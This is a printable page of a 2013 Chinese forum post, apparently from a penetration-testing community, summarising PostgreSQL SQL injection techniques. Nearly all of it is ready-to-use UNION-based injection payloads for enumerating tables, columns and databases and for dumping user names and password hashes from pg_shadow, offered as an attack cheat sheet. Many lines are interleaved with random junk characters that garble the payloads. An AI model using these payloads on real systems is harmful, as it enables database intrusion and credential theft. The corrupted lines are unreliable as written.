中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin    时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点
4 c2 z. P; K- ~$ s2 ?/ O

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/6 y( I) E, f6 S3 c0 O3 l, s% H1 i
连接符: %20 , + , /**/

内置函数:. a/ C+ d0 `. }0 y
current_database() //当前数据库名2 ]7 f- |: A$ k$ Z
session_user //会话用户+ d% X$ M1 t& b+ |; @
current_user //当前数据库用户1 |, [2 g! N, h( `( B
user //当前用户9 |5 A3 F2 S! e4 U& {9 c
version() //数据库版本

Union注射:( c' T8 S" B0 P2 C. j; S
order by n–
0 O# p! o& c, [+ q. Dand 1=2 union select null,null,null–
( l) e$ ^+ {4 i  X3 W% O" m) R( |and 1=2 union select ‘beach’,null,null–
- N/ p  [8 O3 E! Band 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):5 N7 x) k- k) r. b  [2 m
group_concat(table_name)% F1 |2 a) v0 g$ D4 b
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
8 H* c* s& G! `4 R/ x' @and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–8 ?) x+ q% w' @0 E
(老版本)1 c% \& n- U7 \5 \9 e
pg_class.oid对应pg_attribute.attrelid
/ \& I1 D$ L$ x# \) ^1 mpg_class.relname表名) q+ b1 g- a; q. F
pg_attribute.attname字段名

select relname from pg_class获取表名# D$ m0 G" ?  ]& I
select oid from pg_class where 条件 获取参数
8 E* a" x  b+ F7 o  n( D  c: oselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:$ S2 m% U; ^0 h4 I$ L. R" o1 E
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
& i: K5 S) ~% q& L8 i' K% Aand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–7 L3 E7 k: w+ z/ W
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
# y: d& g: b2 I$ `3 L======================================================================" D. u1 v+ z9 H3 B
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库$ D9 u. p9 B) H* R7 f/ L# ^
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码






欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2